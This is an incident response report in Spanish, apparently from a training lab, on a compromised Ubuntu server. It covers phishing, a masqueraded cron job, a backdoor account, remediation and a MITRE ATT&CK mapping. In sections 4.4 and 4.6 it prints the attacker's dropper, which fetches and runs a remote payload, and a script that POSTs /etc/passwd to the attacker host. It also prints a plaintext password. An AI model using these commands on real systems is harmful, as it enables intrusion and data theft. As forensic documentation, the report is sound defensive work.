

INFORME DE RESPUESTA A INCIDENTE

LIVE INCIDENT RESPONSE

Organización	4Geeks Academy
Activo afectado	4geeks-server (192.168.0.133) — Ubuntu 20.04.6 LTS
Clasificación	Confidencial — Uso interno
Rol	Analista de Ciberseguridad / Respuesta a Incidentes
Fecha de cierre	18 de junio de 2026

1. Resumen Ejecutivo

El equipo de ciberseguridad de 4Geeks Academy fue activado tras detectarse comportamiento anómalo en el servidor interno 4geeks-server (192.168.0.133), un host Ubuntu 20.04.6 LTS que expone los servicios Apache2 (puerto 80), vsftpd (puerto 21) y SSH (puerto 22), y que aloja un agente Wazuh HIDS.

Dado que el servidor forma parte de un sistema crítico en producción, el análisis se realizó íntegramente bajo un enfoque de Live Incident Response — inspección directa sobre el sistema activo, sin apagado ni extracción forense del disco — priorizando la disponibilidad del servicio.

La investigación reconstruyó una cadena de ataque completa: un correo de ingeniería social convenció al titular de la cuenta 'reports' de ejecutar un script descargado de 192.168.1.100, aprovechando que esa cuenta tenía sus credenciales almacenadas en texto plano en /opt/.archive/credentials.txt. El script (install.sh) descargó y ejecutó un binario de segunda etapa que realizó de forma encadenada:

- La creación de una cuenta de puerta trasera ('hacker', UID 1002)
- La modificación de la shell de la cuenta de servicio www-data
- La instalación de una tarea cron disfrazada de mantenimiento de sistema que exfiltró /etc/passwd hacia el host atacante cada 15 minutos durante aproximadamente un año sin ser detectada

⚠	Se confirmó la exfiltración real de /etc/passwd. La mención a /etc/shadow en el archivo backup.log fue fabricada manualmente por el atacante y NO corresponde a una exfiltración real.
✓	No se hallaron rootkits, módulos de kernel maliciosos, binarios troyanizados ni reglas de firewall modificadas. Remediación completa aplicada y verificada.

1.1 Hallazgos Clave

HALLAZGOS CLAVE	
	Vector de acceso Ingeniería social (phishing) + credenciales en texto plano
	Escalada de privilegios Atribuida a exploit de kernel Ubuntu 20.04 EOL (CVE no identificado)
	Persistencia activa Cron /etc/cron.d/sys-maintenance cada 15 min ≈ 1 año sin detección
	Exfiltración confirmada /etc/passwd hacia 192.168.1.100:8080 vía HTTP POST
	Backdoor creada Cuenta 'hacker' (UID 1002) — nunca utilizada
	Estado del sistema Remediación completa verificada, sin rootkits ni persistencia residual

2. Introducción, Alcance y Metodología

Este informe documenta la investigación de respuesta a incidente realizada sobre el servidor '4geeks-server' (IP 192.168.0.133), una máquina virtual VirtualBox que ejecuta Ubuntu 20.04.6 LTS (kernel 5.4.0-216-generic, rama fuera de soporte estándar y sin parches ESM activos al momento de la investigación). El host expone los servicios Apache2 (puerto 80/TCP), vsftpd (puerto 21/TCP) y OpenSSH (puerto 22/TCP), y tiene instalado un agente Wazuh HIDS.

El acceso del analista se realizó mediante sesión SSH legítima de la cuenta 'sysadmin' desde una estación Kali Linux (192.168.0.147), confirmada como acceso conocido y descartada como vector de compromiso.

2.1 Restricciones del Enfoque Live Incident Response

Dado que el servidor es crítico en producción, no fue posible apagarlo ni extraer su disco para análisis forense tradicional. Se aplicaron las siguientes premisas operativas:

- Disponibilidad del servicio tuvo prioridad sobre captura forense exhaustiva
- No hubo ventana para apagado controlado ni clonado de disco
- El objetivo fue contener la amenaza con rapidez, documentar hallazgos y restaurar la postura de seguridad sin interrumpir el servicio
- Como consecuencia, el binario de segunda etapa (payload) y artefactos en RAM no estaban disponibles para análisis al inicio de la investigación

3. Cronología Consolidada del Incidente

La siguiente cronología fue reconstruida combinando /var/log/auth.log y su rotación, journalctl (_COMM=useradd), /var/log/syslog, marcas de tiempo de archivos (stat, ls --time-style), y el contenido de /etc/shadow (chage -l). Todas las marcas de tiempo se expresan en UTC.

Fecha / Hora (UTC)	Evento
2025-06-21 19:04	Aprovisionamiento del servidor. Se crea la cuenta 'sysadmin' (UID 1000).
2025-06-21 19:54	Se crea la cuenta 'reports' (UID 1001, /bin/bash) desde /dev/tty1.
2025-06-23 13:18	Se instala el agente Wazuh desde sesión SSH legítima.
2025-06-23 ≈14:07	Recepción del correo de ingeniería social. Inicio de sesión de 'reports' en tty1.
2025-06-23 14:07–14:40	Sesión activa: lectura de credentials.txt, descarga y ejecución de install.sh.
2025-06-23 ≈14:50	Reinicio del sistema post-ejecución de install.sh.
2025-06-23 15:02:47	Payload ejecutado: creación de 'hacker' (UID 1002), modificación de www-data, plantado de cron.
2025-06-23 ≈15:02	Plantado de /etc/cron.d/sys-maintenance. Inicio de exfiltración periódica cada 15 min.
2025-06-23 en adelante	Exfiltración recurrente de /etc/passwd → 192.168.1.100:8080. Dwell time ≈ 1 año.
2026-06-10–18	Ventana de la investigación de respuesta a incidente. Remediación completa.

Los cuatro reinicios registrados el mismo día (12:55, 14:50, 15:23 y 16:40 UTC del 23 de junio de 2025) encuadran exactamente la ventana de instalación de la persistencia. Ningún registro de arranque mostró mensajes de panic, oops o segfault — se interpretan como reinicios controlados, no como caídas por exploit inestable.

4. Fase 1 — Reconocimiento y Recolección de Evidencias

4.1 Triage Inicial: Conexión C2 Activa

El primer comando ejecutado al iniciar la investigación fue un volcado de conexiones de red activas, para detectar comunicación en curso antes de que cualquier acción de contención alterara el estado del sistema.

```
netstat -tupnaw
```

Se detectó una conexión en estado SYN_SENT desde 192.168.0.133:60834 hacia 192.168.1.100:8080, asociada al proceso PID 2020/curl. Esta es la pieza de evidencia más temprana del caso: confirma actividad de Comando y Control (C2) en ejecución periódica, lo cual guió la investigación hacia la búsqueda de un disparador programado (cron).

4.2 Inventario de Procesos en Ejecución

Se ejecutó un volcado completo del árbol de procesos (ps auxf) para descartar procesos maliciosos en ejecución activa. Ningún proceso correspondió a un binario desconocido en ejecución persistente; el vector de C2 detectado (curl) era una ejecución puntual disparada por una tarea programada, no un proceso residente.

```
ps auxf
```

4.3 Análisis de Tareas Programadas (Cron)

Al descartar el crontab convencional (root sin entradas, /var/spool/cron/crontabs/ vacío), la búsqueda se dirigió a /etc/cron.d/ — mecanismo de enmascaramiento más común en sistemas Debian/Ubuntu.

```
ls -la /etc/cron.d/
```

El archivo sys-maintenance estaba fechado 23 de junio de 2025, en contraste con los archivos legítimos vecinos de Feb 2020 / Mar 2023. Este contraste de fecha es el ancla temporal que confirmó la naturaleza maliciosa del archivo. Su contenido:

```
* /15 * * * * root /usr/local/bin/backup2.sh
```

4.4 Script de Exfiltración

El contenido completo de /usr/local/bin/backup2.sh confirma definitivamente el mecanismo de exfiltración:

```
#!/bin/bash
tar -czf /tmp/secrets.tgz /etc/passwd
curl -X POST -F 'file=@/tmp/secrets.tgz' http://192.168.1.100:8080/upload
```

El archivo /tmp/secrets.tgz estaba aún presente en disco al momento del triage, con fecha de modificación 2025-06-23 15:02 — coincidente con la creación de la cuenta 'hacker' y el plantado del cron, todo en la misma ventana de ejecución del payload.

4.5 Descubrimiento de Cuentas No Autorizadas

La revisión de `/etc/passwd` reveló dos cuentas con shell `/bin/bash` no contempladas en el inventario:

```
grep -E '/id|bash|sh|zsh' /etc/passwd
```

Cuenta	UID	Observación
reports	1001	Creada el día del aprovisionamiento. Usada por el atacante vía ingeniería social.
hacker	1002	Creada por el payload de segunda etapa el 23/06/2025. Nunca utilizada interactivamente.

4.6 Cadena del Dropper (install.sh)

El dropper de primera etapa realiza las siguientes operaciones, sin requerir privilegios elevados directamente:

```
mkdir -p /tmp/.temp
curl -s http://192.168.1.100/payload.bin -o /tmp/.temp/payload
chmod +x /tmp/.temp/payload
/tmp/.temp/payload &
```

Todas las acciones a nivel root (creación de 'hacker', siembra del cron, modificación de `www-data`) fueron realizadas por este binario de segunda etapa, no por el propio `install.sh`.

4.7 Credenciales en Texto Plano

El archivo `/opt/.archive/credentials.txt`, propiedad de root y fechado el día del compromiso, contenía literalmente:

```
reports:reports123
```



Este archivo es el facilitador principal del acceso inicial. Su existencia convirtió un ataque de ingeniería social en un compromiso directo con credenciales válidas.

4.8 Ingeniería Social y Log de Cobertura Fabricado

El archivo `chat.txt` contenía un mensaje de 'unknown@externalmail.com' instando a ejecutar un script 'limpio' — pretexto clásico de phishing. El archivo `backup.log` fue escrito manualmente con nano (evidenciado por un typo en la IP: '102.168.1.100' en lugar de '192.168.1.100') y NO constituye evidencia de una exfiltración real de `/etc/shadow`.

4.9 Escalada de Privilegios

Con `sudo`, grupos privilegiados y `sudoers` completamente descartados como ruta de escalada, y sin binarios SUID adicionales, la única explicación para que un proceso iniciado por 'reports' haya podido crear cuentas y escribir en `/etc/cron.d/` es que el binario 'payload' contenía un exploit de escalada de privilegios local, casi con certeza aprovechando una vulnerabilidad del kernel Ubuntu 20.04 5.4.0-216, EOL sin parches ESM activos.

LIMITACIÓN

El CVE específico explotado no pudo identificarse, ya que el binario 'payload' ya no estaba presente en el sistema al momento de la investigación.

4.10 Barrido de Rootkit y Persistencia Adicional

Se realizó un barrido sistemático de todas las superficies de persistencia conocidas en Linux:

- Logs de servicios web y FTP: sin webshells ni vectores paralelos
- Capacidades de archivos (getcap): solo capacidades estándar del sistema
- Módulos de kernel (lsmod): solo módulos legítimos Ubuntu/VirtualBox
- /etc/ld.so.preload: vacío
- Integridad de paquetes (dpkg -V): sin binarios alterados
- Timers de systemd: solo timers estándar de Ubuntu
- Tareas 'at': cola vacía
- Archivos de inicio de shell (.bashrc/.profile): idénticos a /etc/skel, sin modificaciones

5. Vulnerabilidades Identificadas

Esta sección consolida las debilidades estructurales del sistema que permitieron o facilitaron el incidente, independientemente de si fueron explotadas activamente.

#	Vulnerabilidad	Sección	Estado
1	Credenciales en texto plano (/opt/.archive/credentials.txt)	4.15	Corregido
2	Susceptibilidad a ingeniería social (ejecución de scripts sin verificación)	4.16	Recomendación
3	Kernel Ubuntu 20.04 EOL sin parches ESM activos	4.17	Recomendación
4	Cuenta www-data con shell interactiva habilitada	Previo al incidente	Corregido
5	Servicio FTP (vsftpd) expuesto sin TLS, con auth de usuarios locales	7.3	Corregido
6	Sin alertas en tiempo real accesibles localmente (Wazuh manager externo)	4.23	Recomendación
7	Acceso a consola local (tty1) sin controles adicionales de auditoría	4.13	Recomendación
8	Sin monitoreo de integridad de /etc/cron.d/ en tiempo real	4.3	Recomendación

6. Mapeo a MITRE ATT&CK

La cadena de ataque completa fue mapeada al framework MITRE ATT&CK for Enterprise, cubriendo desde el acceso inicial hasta la exfiltración.

Táctica	Técnica	ID	Evidencia
Reconnaissance	Phishing for Information	T1598	chat.txt — pretexto correo externo
Initial Access	Phishing	T1566	chat.txt instando a ejecutar el script
Initial Access	Valid Accounts	T1078	Credencial de 'reports' en texto plano
Execution	User Execution: Malicious File	T1204.002	Ejecución de install.sh
Execution	Unix Shell	T1059.004	Cadena de comandos bash del atacante
Credential Access	Unsecured Credentials: Credentials In Files	T1552.001	/opt/.archive/credentials.txt
Privilege Escalation	Exploitation for Privilege Escalation	T1068	Binario 'payload' sobre kernel EOL
Persistence	Create Account: Local Account	T1136.001	Creación de la cuenta 'hacker'
Persistence	Scheduled Task/Job: Cron	T1053.003	/etc/cron.d/sys-maintenance c/15 min
Defense Evasion	Masquerading: Match Legitimate Name	T1036.005	Nombre 'sys-maintenance' como tarea legítima
Defense Evasion	Indicator Removal (variante)	T1070	backup.log fabricado manualmente
Collection	Data from Local System	T1005	Compresión /etc/passwd → /tmp/secrets.tgz
C2	Application Layer Protocol: Web	T1071.001	curl/HTTP hacia 192.168.1.100
Exfiltration	Exfiltration Over C2 Channel	T1041	POST secrets.tgz a :8080/upload
Ingress Tool Transfer	Ingress Tool Transfer	T1105	wget install.sh + curl payload.bin

No se hallaron técnicas correspondientes a T1190 (Exploit Public-Facing Application): el origen tty1 de las cuentas creadas descarta la explotación remota de Apache o vsftpd. Tampoco se hallaron técnicas de Lateral Movement, Discovery extensiva ni Impact destructivo — el alcance se limitó a este host único.

7. Fase 2 — Contención, Erradicación y Recuperación

7.1 Contención Inmediata

Al confirmar la naturaleza maliciosa del cron y su script, se procedió a su eliminación inmediata para detener la exfiltración activa:

```
rm -f /etc/cron.d/sys-maintenance
rm -f /usr/local/bin/backup2.sh
rm -f /tmp/secrets.tgz
```

Los tres artefactos fueron eliminados y verificados. Esta decisión priorizó detener el sangrado de datos por sobre preservar los artefactos in situ, dado que su contenido ya había sido documentado en su totalidad.

7.2 Corrección de www-data

La cuenta de servicio www-data había sido modificada para usar /bin/bash. Se revirtió a su configuración segura estándar:

```
usermod -s /usr/sbin/nologin www-data
```

7.3 Preservación de Evidencia Forense

Antes de eliminar las cuentas backdoor, se preservó una copia completa de ambos directorios home con hash SHA-256 para cadena de custodia:

```
tar -czpf /root/ir-evidence/home-backups/reports-home_YYYYMMDD.tar.gz -C /home reports
tar -czpf /root/ir-evidence/home-backups/hacker-home_YYYYMMDD.tar.gz -C /home hacker
sha256sum /root/ir-evidence/home-backups/*.tar.gz > SHA256SUMS.txt
```

7.4 Eliminación de Cuentas Backdoor

Con la evidencia preservada, se eliminaron completamente las cuentas 'reports' y 'hacker':

```
userdel -r reports
userdel -r hacker
```

Verificación posterior con grep en /etc/passwd y /etc/group devolvió resultados vacíos — sin entradas huérfanas.

7.5 Destrucción Segura de Credenciales

El archivo de credenciales fue preservado como evidencia (permisos 600) y destruido de forma segura:

```
cp /opt/.archive/credentials.txt /root/ir-evidence/credentials.txt.evidence
chmod 600 /root/ir-evidence/credentials.txt.evidence
shred -u /opt/.archive/credentials.txt
rmdir /opt/.archive
```

7.6 Deshabilitación del Servicio FTP

vsftpd fue detenido y deshabilitado permanentemente, dado que nunca tuvo uso real documentado (vsftpd.log vacío) y representaba una superficie de ataque innecesaria:

```
systemctl stop vsftpd  
systemctl disable vsftpd
```

8. Verificación Final de Integridad del Sistema

8.1 Resumen de Verificaciones de Integridad

Área verificada	Resultado	Evidencia
Cuentas con UID 0 adicional	Ninguna — solo root	4.8
Contraseñas vacías en /etc/shadow	Ninguna	4.8
authorized_keys no autorizados	Ninguno (root, sysadmin, hacker, reports)	4.8 / 4.10
Unidades systemd modificadas (30 días)	Ninguna	4.8
/etc/rc.local	No existe	4.8
Binarios SUID adicionales	Solo binarios legítimos de fábrica	4.8
Grupo sudo	Solo sysadmin	4.9
sudoers / sudoers.d personalizado	Sin reglas añadidas	4.17
Archivos .tgz adicionales	Ninguno (solo /tmp/secrets.tgz ya documentado)	4.18
panic/oops/segfault en kernel	Ninguno	4.18
Capacidades de archivos (getcap)	Solo capacidades estándar	4.19.2
Módulos de kernel (lsmod)	Solo módulos legítimos Ubuntu/VirtualBox	4.19.3
/etc/ld.so.preload	Vacío	4.19.3
Integridad de paquetes (dpkg -V)	Sin binarios alterados	4.19.4
Timers de systemd	Solo timers estándar de Ubuntu	4.19.5
Tareas 'at' pendientes	Cola vacía	4.19.6
Conexiones C2 al cierre	Ninguna hacia 192.168.1.100	4.22
Reglas de firewall (iptables/nft)	Sin modificaciones, solo puertos 22/80/21	8.2

8.2 Reglas de Firewall y NAT

Se volcó el ruleset completo de iptables (UFW) y nftables para confirmar que no hubo manipulación de reglas de red durante el incidente.

Resultado: políticas por defecto estándar de UFW (INPUT DROP, FORWARD DROP, OUTPUT ACCEPT). La cadena ufw-user-input solo permite puertos 22, 80 y 21 TCP/UDP — los tres servicios legítimos ya conocidos. Tabla NAT con política ACCEPT y 0 paquetes en todas las cadenas. nft list ruleset devuelve vacío.



No se detectaron reglas de firewall modificadas. El canal C2 del atacante fue siempre de salida (curl/wget), tráfico que la política OUTPUT ACCEPT nunca necesitó bloquear explícitamente.

9. Recomendaciones de Fortalecimiento y Conclusiones

9.1 Recomendaciones de Fortalecimiento

- Actualizar el kernel a una rama soportada o migrar de Ubuntu 20.04 (EOL) hacia Ubuntu 22.04/24.04 LTS, o activar ESM si la migración inmediata no es viable.
- Eliminar toda práctica de almacenamiento de credenciales en archivos de texto plano. Adoptar un gestor de secretos centralizado (HashiCorp Vault, AWS Secrets Manager, o equivalente).
- Implementar capacitación periódica de concientización en ingeniería social y phishing para el personal con acceso a la consola o cuentas con privilegios de ejecución de scripts.
- Restringir y auditar el acceso a la consola local/hipervisor de las máquinas virtuales productivas, dado que fue el vehículo de entrada confirmado en este incidente.
- Configurar el agente Wazuh para que el equipo de respuesta tenga acceso directo al manager y a alertas de FIM en tiempo real sobre rutas críticas (/etc/passwd, /etc/cron.d/, /etc/sudoers.d/).
- Revisar periódicamente la exposición de servicios de red y deshabilitar cualquier servicio sin uso documentado.
- Sustituir FTP por SFTP/SCP sobre SSH para cualquier necesidad de transferencia de archivos.
- Establecer política de rotación y bloqueo automático de cuentas locales sin uso, y revisión periódica (mensual/trimestral) de /etc/passwd contra inventario aprobado.
- Incrementar retención de logs críticos más allá de la rotación por defecto (en este incidente, auth.log.1 fue la única razón por la que se pudo reconstruir la cronología completa).
- Implementar AIDE o syscheck de Wazuh con intervalos cortos para detección de cambios en archivos críticos en tiempo casi real.

9.2 Limitaciones de la Investigación

Las siguientes limitaciones deben documentarse explícitamente:

- El binario de segunda etapa ('payload') no estaba disponible al momento de la investigación, por lo que el mecanismo exacto de escalada de privilegios (T1068) no pudo confirmarse mediante análisis directo, ni identificarse un CVE específico.
- El enfoque Live Incident Response no incluyó imagen forense bit a bit del disco ni volcado completo de memoria RAM.
- Las alertas históricas del manager Wazuh no pudieron consultarse al estar fuera del alcance de este servidor.
- Los logs de Apache y vsftpd no contenían datos históricos suficientes para confirmar o descartar de forma absoluta un vector web/FTP paralelo.

9.3 Conclusiones

La investigación permitió reconstruir con alta confianza la cadena de ataque completa que afectó a 4geeks-server: un correo de ingeniería social aprovechó una credencial almacenada en texto plano para inducir a la cuenta 'reports' a ejecutar un dropper de dos etapas, que probablemente explotó una vulnerabilidad del kernel EOL para escalar a root y establecer persistencia mediante una cuenta de puerta trasera y una tarea cron enmascarada, exfiltrando /etc/passwd hacia infraestructura del atacante durante aproximadamente un año sin ser detectada.

Todas las acciones de contención, erradicación y recuperación necesarias fueron aplicadas y verificadas. Un barrido exhaustivo posterior no encontró mecanismos de persistencia adicionales. El sistema se considera restaurado a un estado seguro e íntegro al cierre de este informe, quedando pendiente únicamente la implementación de las recomendaciones de fortalecimiento estructural para reducir el riesgo de recurrencia.

ESTADO FINAL	Sistema íntegro. Sin persistencia residual. Sin reglas de red alteradas. Remediación completa verificada al 18 de junio de 2026.
--------------	--